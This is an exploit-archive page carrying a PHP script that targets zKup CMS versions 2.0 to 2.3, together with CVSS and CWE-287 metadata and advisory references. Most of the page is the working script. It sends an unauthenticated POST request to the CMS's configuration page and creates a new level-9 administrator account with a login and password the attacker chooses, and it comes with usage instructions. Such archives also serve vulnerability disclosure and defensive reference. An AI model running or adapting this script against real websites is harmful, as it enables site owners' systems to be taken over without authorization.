zKup CMS 2.0 <= 2.3 Remote Add Admin Exploit

2009.08.31
Credit: real
Risk: High
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php <?php /* * Name: zKup CMS v2.0 <= v2.3 0-day exploit (add admin) * Credits: Charles "real" F. <charlesfol[at]hotmail.fr> * Date: 03-08-2008 * Conditions: None. * * This exploit add a new zKup admin. * */ print "\n"; print " zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n"; print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n"; if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); } $url = $argv[1]; $log = $argv[2]; $pas = $argv[3]; $postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9"; print "[*] sending evil c0de ... "; if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n"; else print "failed.\n"; function post($url,$data,$get=1) { $result = ''; preg_match("#^http://([^/]+)(/.*)$#i",$url,$info); $host = $info[1]; $page = $info[2]; $fp = fsockopen($host, 80, &$errno, &$errstr, 30); $req = "POST $page HTTP/1.1\r\n"; $req .= "Host: $host\r\n"; $req .= "User-Agent: Mozilla Firefox\r\n"; $req .= "Connection: close\r\n"; $req .= "Content-type: application/x-www-form-urlencoded\r\n"; $req .= "Content-length: ".strlen( $data )."\r\n"; $req .= "\r\n"; $req .= $data."\r\n"; fputs($fp,$req); if($get) while(!feof($fp)) $result .= fgets($fp,128); fclose($fp); return $result; } ?>

References:

http://www.zkup.fr/actualite-zkup/maj-critique-v203v204.html
http://xforce.iss.net/xforce/xfdb/41068
http://www.securityfocus.com/bid/28149
http://www.milw0rm.com/exploits/5220
http://www.milw0rm.com/exploits/5219
http://secunia.com/advisories/29276
http://osvdb.org/43081


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top